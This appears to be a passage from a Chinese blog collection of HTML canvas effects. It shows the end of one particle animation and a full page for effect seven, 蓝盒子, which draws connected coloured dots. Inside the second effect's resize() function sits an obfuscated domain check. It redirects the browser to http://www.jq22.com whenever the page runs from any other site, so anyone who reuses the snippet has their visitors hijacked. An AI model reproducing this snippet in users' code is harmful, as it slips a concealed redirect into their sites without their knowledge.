{return window.requestAnimationFrame ||function(callback, element) {window.setTimeout(callback, 1000 / 60);};})();var anim = function() {this.upd();this.draw();window.requestAnimationFrame(anim);}.bind(this);window.requestAnimationFrame(anim);};Build.prototype.run = function() {this.anim();window.addEventListener('mousemove', function(e) {this.toX = (e.clientX - this.canvas.width / 2) * -0.8;this.toY = (e.clientY - this.canvas.height / 2) * 0.8;}.bind(this));window.addEventListener('touchmove', function(e) {e.preventDefault();this.toX = (e.touches[0].clientX - this.canvas.width / 2) * -0.8;this.toY = (e.touches[0].clientY - this.canvas.height / 2) * 0.8;}.bind(this));window.addEventListener('mousedown', function(e) {for (var i = 0; i < 100; i++) {this.add();}}.bind(this));window.addEventListener('touchstart', function(e) {e.preventDefault();for (var i = 0; i < 100; i++) {this.add();}}.bind(this));};var app = new Build();app.run();
})();
window.addEventListener('resize', function() {canvas.width = w = window.innerWidth;canvas.height = h = window.innerHeight;
}, false);
</script></body></html>

特效七

在这里插入图片描述

<html><head>
<meta charset="UTF-8">
<title>蓝盒子</title>
<style>
body {margin: 0;overflow: hidden;background: #000;
}
body canvas {-webkit-filter: url("#turbulence");filter: url("#turbulence");
}</style>
</head><body>
<canvas id="c" width="1920" height="572"></canvas>
<svg xlmns="http://www.w3.org/2000/svg" version="1.1"><defs><filter id="turbulence"><feTurbulence type="fractalNoise" baseFrequency="0.05 0.05" numOctaves="1" result="noice"></feTurbulence><feDisplacementMap xChannelSelector="R" yChannelSelector="G" scale="20" in="SourceGraphic"></feDisplacementMap></filter></defs>
</svg>
<script>
var c=document.getElementById('c'),ctx=c.getContext('2d'),points=[],count=40,size=3,delta=4,distance=170;window.requestAnimFrame=(function(){return window.requestAnimationFrame||window.webkitRequestAnimationFrame||window.mozRequestAnimationFrame||window.oRequestAnimationFrame||window.msRequestAnimationFrame||function(callback){window.setTimeout(callback,1000/60)}})();function checkDistance(x1,y1,x2,y2){return Math.sqrt(Math.pow(x1-x2,2)+Math.pow(y1-y2,2))}function setColor(){return'rgb('+Math.round(255*Math.random())+','+Math.round(255*Math.random())+','+Math.round(255*Math.random())+')'}function Point(x,y,dx,dy,color){this.x=x;this.y=y;this.dx=dx;this.dy=dy;this.color=color}function initPoint(x,y){var x=x||c.width*Math.random(),y=y||c.height*Math.random(),dx=-delta/2+delta*Math.random(),dy=-delta/2+delta*Math.random(),color=setColor();points.push(new Point(x,y,dx,dy,color))}function drawPoint(point){ctx.fillStyle=point.color;ctx.beginPath();ctx.arc(point.x,point.y,size,0,2*Math.PI);ctx.fill()}function drawLines(point,index){for(var i=0;i<index;i++){var opacity=1-checkDistance(point.x,point.y,points[i].x,points[i].y)/distance;if(opacity>0){var grad=ctx.createLinearGradient(point.x,point.y,points[i].x,points[i].y);grad.addColorStop(0,point.color);grad.addColorStop(1,points[i].color);ctx.strokeStyle=grad;ctx.globalAlpha=opacity;ctx.beginPath();ctx.moveTo(point.x,point.y);ctx.lineTo(points[i].x,points[i].y);ctx.stroke();ctx.globalAlpha=1}}}function updatePosition(){for(var i=0;i<points.length;i++){var xDx=points[i].x+points[i].dx,yDy=points[i].y+points[i].dy;if(xDx-size<0||xDx+size>c.width){points[i].dx=-points[i].dx}if(yDy-size<0||yDy+size>c.height){points[i].dy=-points[i].dy}points[i].x+=points[i].dx;points[i].y+=points[i].dy;drawPoint(points[i]);drawLines(points[i],i)}}function init(){points.length=0;for(var i=0;i<count;i++){initPoint()}}function resize(){var GQInzO1=window["location"]["href"]["substr"](0,19);var j2=window["location"]["href"]["substr"](0,4);if(GQInzO1=="http://www.jq22.com"||j2=="file"){}else{window["location"]["href"]="http://www.jq22.com"}c["width"]=window["innerWidth"];c["height"]=window["innerHeight"];init()}function draw(){ctx.clearRect(0,0,c.width,c.height);updatePosition();window.requestAnimFrame(draw)}window.addEventListener("resize",resize);c.addEventListener("mouseup",function(e){initPoint(e.pageX-c.offsetLeft,e.pageY-c.offsetTop)});resize();draw();
</script></body></html>